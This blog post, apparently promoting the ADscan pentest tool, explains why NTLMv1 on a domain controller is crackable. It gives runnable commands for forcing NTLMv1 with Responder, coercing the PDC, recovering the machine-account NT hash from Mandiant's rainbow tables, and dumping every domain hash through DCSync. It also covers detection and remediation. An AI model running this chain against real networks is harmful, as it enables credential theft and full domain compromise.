NTLMv1 on a DC: Guaranteed Domain Compromise with Rainbow Tables

I captured an NTLMv1 hash from a Domain Controller this week. It took under twelve hours to convert it to an NT hash and run a full DCSync. No high-end GPU, just public rainbow tables and consumer hardware costing less than $600.

NTLMv1 has been insecure since 1999 and the attack has been known since 2012. What makes it urgent today is that in 2026 Mandiant published 8.6 terabytes of rainbow tables on Google Cloud Storage, free and accessible to anyone. What previously required specialized hardware or days of computation now works in hours on a lab machine.

This post documents the full technical chain: why NTLMv1 is mathematically breakable regardless of password complexity, how to force the PDC to authenticate over NTLMv1, how to extract the DES ciphertexts from the captured hash, how to look them up against the Mandiant tables, and how ADscan detects and classifies the exposure during an engagement.

MITRE ATT&CK: T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay + T1003.006 — DCSync. The full chain goes from authentication capture to complete credential dump of the domain.

TL;DR:

• NTLMv1 uses 3 independent DES keys over a known challenge → Known Plaintext Attack → guaranteed recovery.
• Responder --disable-ess fixes the challenge to 1122334455667788 → the DC responds with crackable NTLMv1.
• ntlmv1.py extracts the 3 DES ciphertexts → crackalack_lookup against Mandiant tables → full NT hash.
• DC machine account NT hash → DCSync → all domain hashes.
• ADscan detects whether the PDC responds in NTLMv1 during the Auth-Type check and shows the exploitation chain in the panel.

Why is NTLMv1 still active in 2026?

Microsoft formally deprecated NTLMv1 in Windows 11 24H2 and Windows Server 2025. The problem is that "deprecated" doesn't mean "disabled" in existing environments. In organizations that have been running Server 2016, Server 2019, or Active Directory set up before 2020, NTLMv1 may be enabled for one of these reasons:

The first is a legacy GPO. When an old DC was configured with a low LmCompatibilityLevel to support Windows XP or Vista clients, that GPO remains active even though the legacy clients no longer exist. Nobody touched it because "it works."

The second is application compatibility. Industrial applications, SCADA systems, network printers, and scanners that only implement NTLMv1 still exist. The infrastructure team lowered the LmCompatibilityLevel so "the scanner works" and never restored it.

The third is lack of understood real risk. The attack was theoretically known, but the computational cost to execute it in practice was high before Mandiant's tables became publicly available. With the tables published, the cost dropped to consumer hardware and patience.

The result: Mandiant reports that its consultants continue finding NTLMv1 active in enterprise environments in 2026, more than two decades after cryptography demonstrated its insecurity.

Why is NTLMv1 mathematically breakable?

Understanding the attack requires understanding how NTLMv1 builds the challenge response.

The process starts with the NT hash of the user or machine account password: 16 bytes generated with MD4 over the password in UTF-16LE. To build the NTLMv1 response, that NT hash is split into three 7-byte fragments. The three fragments are bytes 0-6, bytes 7-13, and bytes 14-15 zero-padded to 7 bytes.

Each 7-byte fragment is used as an independent DES encryption key to encrypt the 8-byte server challenge. The result is three 8-byte DES ciphertexts that concatenate to form the 24-byte response the client sends to the server.

NT hash (16 bytes):  [K1: 7 bytes] [K2: 7 bytes] [K3: 7 bytes + padding]
                              ↓              ↓              ↓
DES_K1(challenge) → CT1    DES_K2(challenge) → CT2    DES_K3(challenge) → CT3
                              ↓
              Response = CT1 + CT2 + CT3 (24 bytes)

The vulnerability is structural. DES operates with 56 effective key bits. The search space for each 7-byte fragment is 2^56 — manageable for precomputation at scale. More importantly, the three keys are independent. That means they can be attacked separately in parallel rather than searching the full 16-byte NT hash space.

The additional condition that makes the attack trivial is the known challenge. In NTLMv2, the client contributes its own random challenge (NTProofStr), making the response vary per session and rainbow tables impossible. NTLMv1 without ESS (Extended Session Security) uses only the server challenge. If that challenge is fixed to a known constant value, you have a classic Known Plaintext Attack: the ciphertext is known, the plaintext (the fixed challenge) is known, you only need to find the key.

Responder with --disable-ess does exactly this: it responds with the fixed challenge 1122334455667788 in the NTLMSSP_CHALLENGE, forcing the client to use NTLMv1 without ESS. Mandiant's tables are precomputed for that specific challenge.

Mandiant's rainbow tables

The tables Mandiant published in 2026 are the result of precomputing all possible values of the three DES fragments for the fixed challenge 1122334455667788. The total size is 8.6 terabytes, distributed on Google Cloud Storage under the public bucket net-ntlmv1-tables.

The rainbow table attack idea comes from Philippe Oechslin's 2003 paper. The specific application to NTLMv1 with a known challenge was documented at DEFCON 20 (2012) by Moxie Marlinspike and David Hulton. What Mandiant did in 2026 was generate the complete tables and publish them freely so defenders and pentesters could demonstrate the risk without needing to generate them themselves.

The practical result: with the tables downloaded and the ciphertext extracted from the captured hash, the lookup returns the DES keys in minutes per fragment. The total time on consumer hardware with a modern GPU is under 12 hours for all three fragments combined.

The attack chain step by step

Step 1: Configure Responder with fixed challenge

The prerequisite is being positioned on the network with the ability to receive incoming SMB traffic. In an internal pentest with corporate network access, this is trivial.

# Edit /etc/responder/Responder.conf
Challenge = 1122334455667788

# Launch Responder disabling ESS
responder -I eth0 --disable-ess --lm -v

The --disable-ess flag is critical. Without it, Responder negotiates ESS by default, which adds the client challenge and makes the hash incompatible with rainbow tables.

Step 2: Coerce the PDC to authenticate

Coercion is the technique of forcing a privileged account (in this case the PDC's machine account) to authenticate against a controlled listener. Multiple protocols allow this:

EfsRpcOpenFileRaw (EFSR / PetitPotam): Abuses the EFS encryption service to force authentication against a controlled UNC path. This is the native method ADscan uses.

PrintSpooler (PrinterBug): The classic. MS-RPRN can trigger authentication if the spooler is active.

DFSCoerce: Abuses the DFS protocol via MS-DFSNM.

All achieve the same result: the PDC authenticates with its machine account ([email protected] in the example) against the Responder listener.

ADscan executes this coercion natively, without impacket or external tools:

[*] Checking NTLM auth type for PDC via coerced authentication to listener
[+] Captured NTLMv1 authentication from MEEREEN$ via PDC coercion.

Step 3: Extract DES ciphertexts with ntlmv1.py

The hash captured by Responder is in NTLMv1-SSP format. The ntlmv1.py tool from the ntlmv1-multi repository decomposes the 24-byte response into the three 8-byte DES ciphertexts:

python3 ntlmv1.py --ntlmv1 MEEREEN$::ESSOS:captured_hash:1122334455667788

The output includes the three ciphertexts in a format compatible with crackalack_lookup:

[+] CT1: <8 bytes hex>
[+] CT2: <8 bytes hex>
[+] CT3: <8 bytes hex>

Step 4: Query Mandiant's rainbow tables

With the tables downloaded from Google Cloud Storage:

# Download (8.6TB — select only the needed tables)
gsutil -m cp -r gs://net-ntlmv1-tables ./ntlmv1-tables/

# Lookup for each ciphertext
crackalack_lookup ~/ntlmv1-tables/ ~/DES/CT1
crackalack_lookup ~/ntlmv1-tables/ ~/DES/CT2
crackalack_lookup ~/ntlmv1-tables/ ~/DES/CT3

Each lookup returns the corresponding 7-byte DES key. The time per lookup depends on hardware — on a modern consumer GPU, the complete process is under 12 hours.

Step 5: Reconstruct the NT hash

Concatenating the three recovered 7-byte fragments gives the complete 16-byte NT hash of the DC's machine account.

Step 6: DCSync

With the NT hash of the PDC's machine account (MEEREEN$), the attacker can run DCSync using pass-the-hash. The PDC's machine account has the replication rights needed to request all domain hashes:

secretsdump.py -hashes :NT_HASH 'essos.local/[email protected]' -just-dc

The result: all NT hashes in the domain, including the krbtgt hash (Golden Ticket), the Administrator hash, and service accounts. Domain compromised.

ADscan's panel after capture

ADscan runs the DC NTLM Auth-Type Check as part of the automatic scan. When it detects NTLMv1, the result panel shows the severity and the exact exploitation steps:

╭─ NTLM Capture captured ──────────────────────────╮
│                                                    │
│  Verdict   [+] NTLMv1 authentication captured     │
│             from coerced PDC                       │
│  Principal [email protected]                   │
│  Posture   [!] NTLMv1 from DC machine account —   │
│             NT hash recovery guaranteed via        │
│             rainbow tables                         │
│                                                    │
│  Next:                                             │
│    > Extract DES ciphertexts:                      │
│        ntlmv1.py --ntlmv1 <hash>               │
│    > Query Mandiant rainbow tables (8.6 TB):       │
│        crackalack_lookup ~/ntlmv1-tables/ ~/DES    │
│    > NT hash recovered → DCSync for full domain    │
│        compromise (guaranteed, <12 h HW)         │
│    > If SMB signing unenforced: relay with         │
│        ntlmrelayx instead of cracking              │
│    > Inspect full hash in SMB listener log         │
│                                                    │
╰────────────────────────────────────────────────────╯

The "Posture" explicitly states that recovery is guaranteed — not a dictionary attack that depends on password weakness. It doesn't matter whether the DC password is Password123 or a random 32-character string. If NTLMv1 is enabled and the challenge is fixed, the NT hash is recovered.

Why relay can be better than cracking in some cases

The rainbow tables give the NT hash in hours. But if the environment has SMB signing disabled on other hosts, relay is faster: the captured DC authentication is redirected in real time to another server to authenticate as the PDC's machine account without needing to crack.

The advantage of cracking is that the recovered NT hash is permanent and reusable. It can be used days or weeks later for DCSync, Kerberos authentication, or any operation that accepts pass-the-hash.

Detection and remediation

For defenders:

The direct solution is raising LmCompatibilityLevel to 5 on all DCs:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel = 5

Value 5 enforces NTLMv2 and rejects NTLMv1. If legacy applications require NTLMv1, the correct remedy is isolating them in a dedicated network segment with strict access controls — not lowering the global DC configuration.

For detection, the most reliable indicator is not the hash capture but the coercion origin. In Windows Event Log:

• Event 4624 (Logon success) with AuthenticationPackageName: NTLM and LmPackageName: NTLM V1 — NTLMv1 used to authenticate
• Event 5145 (Network share object access check) with suspicious UNC paths pointing to IPs outside the domain — indicator of EFSR/RPRN coercion
• Defender for Identity generates a specific alert for coercion to external listener

For CISOs:

If your domain has environments with Server 2016 or 2019 without an explicit NTLMv1 policy, the probability of exposure is high. A pentester with internal network access can compromise the DC machine account in minutes once they detect active NTLMv1. The remediation is a five-minute GPO change. The cost of not doing it is a full domain breach.

NTLMv1 vs NTLMv2 for the attacker

For NTLMv2, an attacker who captures the hash has no guarantee of ever recovering it if the password is sufficiently complex. For NTLMv1 with a fixed challenge, recovery is mathematically guaranteed regardless of the password.

Conclusion

Active NTLMv1 on a DC is equivalent to having the machine account password exposed to any attacker with internal network access and patience. Mandiant's publication of the tables in 2026 eliminated the hardware barrier that previously made the attack impractical for most attackers.

The remediation is a five-minute configuration change. The risk of not making it is complete domain compromise.

ADscan detects NTLMv1 exposure during the engagement: it coerces the PDC, classifies the response as NTLMv1 or NTLMv2, and displays the panel with the verified exploitation chain. Public repo: https://github.com/ADScanPro/adscan

If you find NTLMv1 active in an environment and have results that contradict or complement this chain, open an issue in the repo.

ADscan PRO beta (full engagement automation + ENS/DORA/ISO reporting + attack graph): request beta

Sources:

• Mandiant/Google — Net-NTLMv1 Deprecation and Rainbow Tables: https://cloud.google.com/blog/topics/threat-intelligence/net-ntlmv1-deprecation-rainbow-tables/
• Public Google Cloud Storage tables: https://console.cloud.google.com/storage/browser/net-ntlmv1-tables
• Sprocket Security — Cracking NTLMv1-SSP with Rainbow Tables: https://www.sprocketsecurity.com/blog/cracking-ntlmv1-ssp-with-rainbow-tables
• Philippe Oechslin — Making a Faster Cryptanalytic Time-Memory Trade-Off (2003)